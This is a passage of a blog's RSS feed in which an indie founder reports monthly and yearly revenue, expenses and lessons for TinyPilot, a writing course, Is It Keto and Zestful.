&lt;p>I can&amp;rsquo;t complain because I&amp;rsquo;m doing nothing to maintain the site, but I was hoping it wouldn&amp;rsquo;t fade out so quickly.&lt;/p>
&lt;h3 id="hit-the-front-page-of-hacker-news">&lt;a href="https://hitthefrontpage.com/">Hit the Front Page of Hacker News&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2021&lt;/th>
 &lt;th>January 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>106&lt;/td>
 &lt;td>140&lt;/td>
 &lt;td>&lt;font color="green">+34 (+32%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Gumroad Revenue&lt;/td>
 &lt;td>$19.30&lt;/td>
 &lt;td>$66.59&lt;/td>
 &lt;td>&lt;font color="green">+$47.29 (+245%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Blogging for Devs Revenue&lt;/td>
 &lt;td>$27.30&lt;/td>
 &lt;td>$0.00&lt;/td>
 &lt;td>&lt;font color="red">-$27.30 (-100%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$46.60&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$66.59&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">+$19.99 (+43%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Things are still pretty quiet with the blogging course. There was one new purchase, but that&amp;rsquo;s all. It seems like everyone who follows me that&amp;rsquo;s interested in the course has already purchased by this point.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>December 2021&lt;/th>
 &lt;th>January 2022&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>461&lt;/td>
 &lt;td>564&lt;/td>
 &lt;td>&lt;font color="green">+103 (+22%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>1,176&lt;/td>
 &lt;td>1,514&lt;/td>
 &lt;td>&lt;font color="green">+338 (+29%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>RapidAPI Revenue&lt;/td>
 &lt;td>$1,252.31&lt;/td>
 &lt;td>$847.38&lt;/td>
 &lt;td>&lt;font color="red">-$404.93 (-32%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$1,252.31&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$847.38&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$404.93 (-32%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Zestful dipped a bit, slumping back under its $1k/month revenue, but clients are still actively using the service, and I&amp;rsquo;m receiving inquiries from potential new customers every few weeks.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published my &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/">fourth-year retrospective&lt;/a>&lt;/li>
&lt;li>Released TinyPilot 2.3.2&lt;/li>
&lt;li>Began transition process to my new electrical engineering vendor&lt;/li>
&lt;li>Worked with an external consultant to create a &lt;a href="https://github.com/tiny-pilot/tinypilot/tree/experimental/h264">proof-of-concept WebRTC implementation&lt;/a> of TinyPilot&amp;rsquo;s video streaming&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Change fewer things at once.
&lt;ul>
&lt;li>I need to keep track of how many ongoing changes are happening and resist the urge to start any new projects until previous projects wrap up.&lt;/li>
&lt;li>It&amp;rsquo;s easy to feel like I have spare capacity because projects vary in how much attention they need each week.&lt;/li>
&lt;li>Each new project increases the risk of an unlucky week where too many changes demand my attention at once.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Treat vendor bandwidth as a first-class concern.
&lt;ul>
&lt;li>If you hire a vendor for a one-off project, and they have only a few hours of availability each week, it stretches out the project and costs more of your time in context-switching.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Launch Voyager 2: PoE Edition
&lt;ul>
&lt;li>For real this time.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Hire a TinyPilot support engineer&lt;/li>
&lt;li>Complete design work on TinyPilot website overhaul&lt;/li>
&lt;/ul></content:encoded></item><item><title>My Fourth Year as a Bootstrapped Founder</title><link>https://mtlynch.io/bootstrapped-founder-year-4/</link><pubDate>Tue, 01 Feb 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/bootstrapped-founder-year-4/</guid><description>&lt;p>Four years ago, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my job as a developer at Google&lt;/a> to create my own self-funded software company.&lt;/p>
&lt;p>For the first few years, all of my businesses flopped. They all operated at a loss, and none of them earned more than a few hundred dollars per month in revenue.&lt;/p>
&lt;p>Halfway through my third year, I created a network administration device called &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>. It quickly caught on, and it&amp;rsquo;s been my main focus ever since. TinyPilot generated $460k in 2021, its first full year in operation.&lt;/p></description><content:encoded>&lt;p>Four years ago, I &lt;a href="https://mtlynch.io/why-i-quit-google/">quit my job as a developer at Google&lt;/a> to create my own self-funded software company.&lt;/p>
&lt;p>For the first few years, all of my businesses flopped. They all operated at a loss, and none of them earned more than a few hundred dollars per month in revenue.&lt;/p>
&lt;p>Halfway through my third year, I created a network administration device called &lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a>. It quickly caught on, and it&amp;rsquo;s been my main focus ever since. TinyPilot generated $460k in 2021, its first full year in operation.&lt;/p>
&lt;p>In this post, I&amp;rsquo;ll share what I&amp;rsquo;ve learned from TinyPilot about being a bootstrapped founder.&lt;/p>
&lt;h2 id="my-first-year-of-profit">My first year of profit&lt;/h2>
&lt;p>After running in the red for the first few years, this is my first cashflow positive year. I earned a total of $14k in profit in 2021. Although TinyPilot generated the vast majority of revenue, most of my profit came from old projects running in the background.&lt;/p>
&lt;p>&lt;canvas id="total-finances-chart" style="margin-bottom: 50px;">&lt;/canvas>&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>2020&lt;/th>
 &lt;th>2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Revenue&lt;/td>
 &lt;td>$63,477&lt;/td>
 &lt;td>$478,638&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Expenses&lt;/td>
 &lt;td>-$67,441&lt;/td>
 &lt;td>-$464,071&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$3,964&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">$14,518&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;div class="notice notice-info">
 &lt;p>&lt;strong>How can you afford to live on so little money?&lt;/strong>&lt;/p>
&lt;p>I went into more detail &lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/#how-can-you-afford-to-keep-losing-money">in my year two retrospective&lt;/a>, but the short answer is: low cost of living, significant savings from my Google days, and passive investment income.&lt;/p>

&lt;/div>

&lt;h2 id="tinypilots-second-year">TinyPilot&amp;rsquo;s second year&lt;/h2>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 650px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-screenshot.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 650px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-screenshot_hu_37a54663d02db4ce.png 300w, https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-screenshot_hu_d23af7b8becba44f.png 600w, https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-screenshot_hu_c9a5fa40429a459c.png 800w, https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-screenshot_hu_8c266e450dc5295d.png 1200w, https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-screenshot.png 1337w'
 src="https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-screenshot.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://tinypilotkvm.com">TinyPilot&lt;/a> is an open-source KVM over IP device built on the Raspberry Pi&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>TinyPilot is an open-source KVM over IP device &lt;a href="https://mtlynch.io/tinypilot">built on the Raspberry Pi&lt;/a>. It allows you to control another computer from your browser without installing any software, even if the computer has no operating system or network connectivity.&lt;/p>
&lt;p>&lt;a href="tinypilot-demo-2.1.2-full.gif" style="display: block; margin: auto 0;">&lt;img src="small-tinypilot-demo-2.1.2.gif" style="margin: 0 auto; display: block; object-fit: contain; max-width: 630px">&lt;/a>&lt;/p>
&lt;p>At the start of 2021, I was TinyPilot&amp;rsquo;s sole developer, customer support agent, salesperson, and marketer. The only other employee was my girlfriend, who managed inventory and fulfilled orders. We ran TinyPilot out of our Western Massachusetts home, which was slowly transforming into a TinyPilot warehouse.&lt;/p>
&lt;p>Today, TinyPilot has a real office, a two-person fulfillment staff, a team of three developers, and a &lt;a href="https://kvm-ip.de">distributor in Europe&lt;/a>.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-office.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-office_hu_dcecedc8e8647bd4.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-office_hu_f0895ae98ea34b08.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-office_hu_4a546d896cd690f.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-office_hu_d178123fcd6cb338.jpg 1200w, https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-office.jpg 1600w'
 src="https://mtlynch.io/bootstrapped-founder-year-4/tinypilot-office.jpg" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot now has a real office where we assemble products and ship out orders.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="tinypilot-finances">TinyPilot finances&lt;/h3>
&lt;p>For most of the year, TinyPilot&amp;rsquo;s sales were inconsistent. We saw spikes when popular tech reviewers featured TinyPilot, but sales always dwindled afterward.&lt;/p>
&lt;p>Starting in September, we partnered with a European distributor and refocused our website (more on that &lt;a href="#sell-just-one-thing">below&lt;/a>). Those changes smoothed out our sales and made the business less reliant on luck or external events.&lt;/p>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Income/Expense&lt;/th>
 &lt;th>2020&lt;/th>
 &lt;th>2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Sales&lt;/td>
 &lt;td>$53,742&lt;/td>
 &lt;td>$459,529&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Credit card rewards&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>$1,139&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Raw materials&lt;/td>
 &lt;td>-$46,143&lt;/td>
 &lt;td>-$248,273&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Software development&lt;/td>
 &lt;td>-$1,321&lt;/td>
 &lt;td>-$119,015&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Electrical engineering consulting&lt;/td>
 &lt;td>-$7,130&lt;/td>
 &lt;td>-$28,662&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Fulfillment staff&lt;/td>
 &lt;td>-$2,570&lt;/td>
 &lt;td>-$25,893&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Web design / branding&lt;/td>
 &lt;td>-$250&lt;/td>
 &lt;td>-$15,931&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Cloud services&lt;/td>
 &lt;td>-$64&lt;/td>
 &lt;td>-$5,554&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Office space&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>-$4,400&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Advertising&lt;/td>
 &lt;td>-$675&lt;/td>
 &lt;td>-$3,633&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Office equipment&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>-$2,083&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Everything else&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>-$2,738&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;font color="red">&lt;strong>-$5,681&lt;/strong>&lt;/font>&lt;/td>
 &lt;td>&lt;font color="green">&lt;strong>$4,247&lt;/strong>&lt;/font>&lt;/td>
 &lt;td>&lt;strong>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: Net profit is a little misleading, as it doesn&amp;rsquo;t reflect the additional $59k I have in inventory.
&lt;/div>

&lt;h3 id="tinypilots-software-development">TinyPilot&amp;rsquo;s software development&lt;/h3>
&lt;p>For fun, I installed TinyPilot&amp;rsquo;s January 2021 release and compared it the current version. I was surprised at how much has changed in the last year:&lt;/p>
&lt;div style="display: flex; justify-content: center; flex-direction: column; max-width: 100%">
&lt;a href="voyager-1.2.1-hello-world.mp4">&lt;img src="voyager-1.2.1-hello-world.gif" alt="Screen capture of Proxmox install through TinyPilot" class="img" style="max-width: 100%; display: block; object-fit: contain;">&lt;/a>
&lt;a href="voyager-2.3.2-hello-world.mp4">&lt;img src="voyager-2.3.2-hello-world.gif" alt="Screen capture of Proxmox install through TinyPilot" class="img" style="margin-top: 2rem; max-width: 100%; display: block; object-fit: contain;">&lt;/a>
&lt;/div>
&lt;p>Aside from UI changes, we&amp;rsquo;ve added several major features, including:&lt;/p>
&lt;ul>
&lt;li>Mount virtual USB drives and CD-ROMs&lt;/li>
&lt;li>Wake on LAN&lt;/li>
&lt;li>Password-based authentication&lt;/li>
&lt;li>Software updates from the web UI&lt;/li>
&lt;li>Video bandwidth tuning&lt;/li>
&lt;/ul>
&lt;h2 id="other-projects">Other projects&lt;/h2>
&lt;h3 id="refactoring-english">&lt;em>Refactoring English&lt;/em>&lt;/h3>
&lt;p>In building this blog over the past five years, I&amp;rsquo;ve learned several techniques that have made my writing clearer, more interesting, and better at attracting readers. One of my &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/#publish-six-blog-posts-and-one-book">2021 goals&lt;/a> was to share what I&amp;rsquo;ve learned in a book called &lt;a href="https://refactoringenglish.com">&lt;em>Refactoring English&lt;/em>&lt;/a>. It would teach writing skills specifically to software developers.&lt;/p>
&lt;p>My great shame of the year is that I made almost no progress on the book.&lt;/p>
&lt;p>For the past three years, I&amp;rsquo;ve had a routine of writing for an hour every morning. That generally translated to about ten blog posts per year. I thought if I spent that time on the book, I&amp;rsquo;d finish within the year.&lt;/p>
&lt;p>Unfortunately, TinyPilot has its own pace that I don&amp;rsquo;t fully control. For the first few months of 2021, I stuck to my writing habit, but I&amp;rsquo;d end every day behind on TinyPilot. I decided to pause my writing until TinyPilot required less management, but I&amp;rsquo;m not there yet.&lt;/p>
&lt;p>I&amp;rsquo;m still excited to write the book, and I hope to have more time for it this year.&lt;/p>
&lt;h3 id="mtlynchio-this-blog">mtlynch.io (this blog)&lt;/h3>
&lt;p>As with my lack of book-writing time, I had very little blog-writing time. I only published three new blog posts, my fewest ever in five years of blogging.&lt;/p>
&lt;p>Ironically, it&amp;rsquo;s when I&amp;rsquo;m most desperate to write that I have the least time to do it. There are so many things I&amp;rsquo;ve learned for TinyPilot that I wish I could capture while they&amp;rsquo;re still fresh, but there just isn&amp;rsquo;t enough time.&lt;/p>
&lt;p>I kept my habit of writing &lt;a href="https://mtlynch.io/retrospectives/">monthly retrospectives&lt;/a>. I budget time for those because they&amp;rsquo;re unambiguously a net positive for my business. Sitting down to organize my thoughts almost always reveals some flaw in my strategy or a weakness in my plans that I wouldn&amp;rsquo;t have noticed otherwise.&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>2020&lt;/th>
 &lt;th>2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Pageviews&lt;/td>
 &lt;td>719,899&lt;/td>
 &lt;td>479,666&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Affiliate revenue*&lt;/td>
 &lt;td>$1,599&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/how-to-hire-a-cartoonist/">Illustrations&lt;/a>&lt;/td>
 &lt;td>-$964&lt;/td>
 &lt;td>-$384&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting / Domain&lt;/td>
 &lt;td>-$534&lt;/td>
 &lt;td>-$306&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://mtlynch.io/editor/">Editing&lt;/a> + &lt;a href="https://grammarly.com">Grammarly&lt;/a>&lt;/td>
 &lt;td>-$222&lt;/td>
 &lt;td>-$140&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$121&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$830&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;div class="notice notice-info">
 * I &lt;a href="https://twitter.com/deliberatecoder/status/1342847048811499523">dropped all affiliate partnerships&lt;/a> from this blog at the end of 2020.
&lt;/div>

&lt;h3 id="hit-the-front-page-of-hacker-news">Hit the Front Page of Hacker News&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/htfp-cover.png">
 &lt;img
 
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-4/htfp-cover_hu_cb6820c89c962926.png 300w, https://mtlynch.io/bootstrapped-founder-year-4/htfp-cover_hu_b1d7731df58cb60.png 600w, https://mtlynch.io/bootstrapped-founder-year-4/htfp-cover_hu_a2754d493e5caed0.png 800w, https://mtlynch.io/bootstrapped-founder-year-4/htfp-cover_hu_7def055ef644e1cc.png 1200w, https://mtlynch.io/bootstrapped-founder-year-4/htfp-cover.png 5334w'
 src="https://mtlynch.io/bootstrapped-founder-year-4/htfp-cover.png" alt="" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://hitthefrontpage.com">&lt;em>Hit the Front Page of Hacker News&lt;/em>&lt;/a> is my course about blogging for technically sophisticated readers.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>At the beginning of the year, I released my first-ever &lt;a href="https://hitthefrontpage.com">paid course&lt;/a>. It explained my approach to writing blog posts that gain traction on tech-oriented sites like Hacker News and reddit.&lt;/p>
&lt;p>I&amp;rsquo;m proud of the content, and I&amp;rsquo;ve heard positive feedback from students. A few of them credited the course with helping them write blog posts that reached the #1 spot on Hacker News.&lt;/p>
&lt;p>The course earned $7.5k in sales, which fell disappointingly short of my $20k goal. Had TinyPilot not been so busy, I could have spent more time marketing the course. Still, the experience taught me a lot about creating educational products, and I&amp;rsquo;d like to do more of that in the future.&lt;/p>
&lt;div class="finances-chart">
 &lt;canvas id="htfp-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>2020&lt;/th>
 &lt;th>2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Purchases&lt;/td>
 &lt;td>29&lt;/td>
 &lt;td>230&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Revenue&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>$7,483&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Expenses&lt;/td>
 &lt;td>-$983&lt;/td>
 &lt;td>-$148&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$983&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">$7,335&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="is-it-keto">Is It Keto&lt;/h3>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/isitketo-screenshot.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-4/isitketo-screenshot_hu_1de5c6c033b864e.png 300w, https://mtlynch.io/bootstrapped-founder-year-4/isitketo-screenshot_hu_2538e91e4038ef49.png 600w, https://mtlynch.io/bootstrapped-founder-year-4/isitketo-screenshot_hu_55f36e86378fc965.png 800w, https://mtlynch.io/bootstrapped-founder-year-4/isitketo-screenshot.png 1043w'
 src="https://mtlynch.io/bootstrapped-founder-year-4/isitketo-screenshot.png" alt="Screenshot of Is It Keto website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://isitketo.org">Is It Keto&lt;/a> tells readers which foods fit the keto diet.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I started &lt;a href="https://isitketo.org">Is It Keto&lt;/a> in 2018. It&amp;rsquo;s a simple site that tells you whether or not particular foods fit the keto diet. It earns money from Amazon Affiliate links and Google AdSense.&lt;/p>
&lt;p>I put the site on the back burner when I started TinyPilot, but it continued to grow on its own in 2021, providing a nice side income of $500-$1k/month. That slowed down around June, as other sites began offering similar content and supplanted Is It Keto in search results.&lt;/p>
&lt;p>I considered selling the site but, I suspect it&amp;rsquo;s only worth $5-10k. It would probably take 30-60 hours to go through the sales process, and I&amp;rsquo;d rather focus on TinyPilot.&lt;/p>
&lt;div class="finances-chart">
 &lt;canvas id="isitketo-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>2020&lt;/th>
 &lt;th>2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Pageviews&lt;/td>
 &lt;td>1,314,583&lt;/td>
 &lt;td>1,163,745&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ad revenue&lt;/td>
 &lt;td>$2,934&lt;/td>
 &lt;td>$5,252&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Affiliate revenue&lt;/td>
 &lt;td>$2,147&lt;/td>
 &lt;td>$2,022&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Freelance designers and &lt;a href="https://mtlynch.io/hiring-content-writers/">content writers&lt;/a>&lt;/td>
 &lt;td>-$105&lt;/td>
 &lt;td>$0&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting / domain&lt;/td>
 &lt;td>-$241&lt;/td>
 &lt;td>-$240&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">$4,753&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">$7,034&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h3 id="zestful">Zestful&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/zestful-screenshot.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-4/zestful-screenshot_hu_7378c07a56647999.png 300w, https://mtlynch.io/bootstrapped-founder-year-4/zestful-screenshot_hu_994ab201f6bc6d6a.png 600w, https://mtlynch.io/bootstrapped-founder-year-4/zestful-screenshot_hu_ffbe3467599a9df2.png 800w, https://mtlynch.io/bootstrapped-founder-year-4/zestful-screenshot_hu_e358d4d6defe56d3.png 1200w, https://mtlynch.io/bootstrapped-founder-year-4/zestful-screenshot.png 1337w'
 src="https://mtlynch.io/bootstrapped-founder-year-4/zestful-screenshot.png" alt="Screenshot of Zestful website" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>&lt;a href="https://zestfuldata.com">Zestful&lt;/a> is an API that parses recipe ingredients into structured data.&lt;/p>&lt;/figcaption>
&lt;/figure>


